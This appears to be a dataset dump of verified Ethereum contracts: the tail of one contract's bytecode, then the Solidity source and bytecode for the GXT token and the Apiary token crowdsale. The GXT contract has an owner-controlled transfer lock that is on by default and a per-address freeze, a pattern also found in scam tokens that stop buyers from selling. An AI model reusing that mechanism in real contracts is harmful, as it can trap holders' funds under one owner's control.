ffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205a148322951b79525159468944353c23a73b1c45249531dfac5ee3a1b00bf2df64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,914 |
0x4674672bcddda2ea5300f5207e1158185c944bc0
|
/**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public constant returns (bool) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(_from));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract Token is BurnableToken {
string public constant name = "Gem Exchange and Trading";
string public constant symbol = "GXT";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 500000000 * (10 ** uint256(decimals));
// Constructors
function Token () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
allowedAddresses[owner] = true;
}
}
|
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012b578063095ea7b3146101ba57806318160ddd14610214578063211e28b61461023d57806323b872dd14610262578063313ce567146102db578063378dc3dc146103045780634120657a1461032d57806342966c681461037e5780634edc689d146103a157806366188463146103e557806370a082311461043f57806378fc3cb31461048c5780638da5cb5b146104dd57806395d89b4114610532578063a5bbd67a146105c1578063a9059cbb14610612578063cf3090121461066c578063d73dd62314610699578063dd62ed3e146106f3578063f22600311461075f578063f2fde38b146107a3575b600080fd5b341561013657600080fd5b61013e6107dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017f5780820151818401525b602081019050610163565b50505050905090810190601f1680156101ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c557600080fd5b6101fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610815565b604051808215151515815260200191505060405180910390f35b341561021f57600080fd5b610227610908565b6040518082815260200191505060405180910390f35b341561024857600080fd5b6102606004808035151590602001909190505061090e565b005b341561026d57600080fd5b6102c1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610989565b604051808215151515815260200191505060405180910390f35b34156102e657600080fd5b6102ee610c8a565b6040518082815260200191505060405180910390f35b341561030f57600080fd5b610317610c8f565b6040518082815260200191505060405180910390f35b341561033857600080fd5b610364600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9d565b604051808215151515815260200191505060405180910390f35b341561038957600080fd5b61039f6004808035906020019091905050610cbd565b005b34156103ac57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610ee5565b005b34156103f057600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffb565b604051808215151515815260200191505060405180910390f35b341561044a57600080fd5b610476600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128d565b6040518082815260200191505060405180910390f35b341561049757600080fd5b6104c3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112d7565b604051808215151515815260200191505060405180910390f35b34156104e857600080fd5b6104f061140f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053d57600080fd5b610545611435565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105865780820151818401525b60208101905061056a565b50505050905090810190601f1680156105b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105cc57600080fd5b6105f8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061146e565b604051808215151515815260200191505060405180910390f35b341561061d57600080fd5b610652600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061148e565b604051808215151515815260200191505060405180910390f35b341561067757600080fd5b61067f611679565b604051808215151515815260200191505060405180910390f35b34156106a457600080fd5b6106d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061168c565b604051808215151515815260200191505060405180910390f35b34156106fe57600080fd5b610749600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611889565b6040518082815260200191505060405180910390f35b341561076a57600080fd5b6107a1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611911565b005b34156107ae57600080fd5b6107da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a27565b005b6040805190810160405280601881526020017f47656d2045786368616e676520616e642054726164696e67000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60005481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096a57600080fd5b80600560006101000a81548160ff0219169083151502179055505b5b50565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156109c857600080fd5b6109d1856112d7565b15156109dc57600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610aad83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4283600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b988382611b8190919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b601281565b6012600a0a631dcd65000281565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1b57600080fd5b600082111515610d2a57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d7857600080fd5b339050610dcd82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8190919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2582600054611b8190919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f9e57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561110c576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a0565b61111f8382611b8190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505b5092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600560009054906101000a900460ff16156113a957600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113965750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113a4576000905061140a565b611405565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611404576000905061140a565b5b600190505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f475854000000000000000000000000000000000000000000000000000000000081525081565b60046020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114cb57600080fd5b6114d4336112d7565b15156114df57600080fd5b61153182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600560009054906101000a900460ff1681565b600061171d82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190505b92915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156119ca57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611abf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000828211151515611b8f57fe5b81830390505b92915050565b6000808284019050838110151515611baf57fe5b8091505b50929150505600a165627a7a72305820e2c6499dc49b105d58059e06426f36e57edb8e9f5b74e31db8d27a96ab8ce2fc0029
|
{"success": true, "error": null, "results": {}}
| 5,915 |
0x5fc54e9385205d59ab0a4862620a20b8a6aa5db5
|
pragma solidity ^0.4.15;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ApiaryToken is MintableToken {
string public constant name = "Apiary";
string public constant symbol = "API";
uint32 public constant decimals = 18;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address eth_addr;
address devs_addr;
uint devs_percent;
ApiaryToken public token = new ApiaryToken();
uint start_ico;
uint period;
uint hardcap;
uint rate;
function Crowdsale() {
eth_addr = 0x785862CEBCEcE601c6E1f79315c9320A6721Ea92;
start_ico = 1527854400;
period = 30;
rate = 5000e18;
hardcap = 500 ether;
devs_percent = 3;
}
modifier saleIsOn() {
require(now > start_ico && now < start_ico + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(eth_addr.balance <= hardcap);
_;
}
function finishMinting() public onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(devs_percent).div(100 - devs_percent);
token.mint(eth_addr, restrictedTokens);
token.finishMinting();
}
function createTokens() isUnderHardCap saleIsOn payable {
eth_addr.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
if(now < start_ico + (period * 1 days).div(3)) {
bonusTokens = tokens.div(5);
} else {
bonusTokens = 0;
}
tokens += bonusTokens;
token.mint(msg.sender, tokens);
}
function() payable {
createTokens();
}
}
|
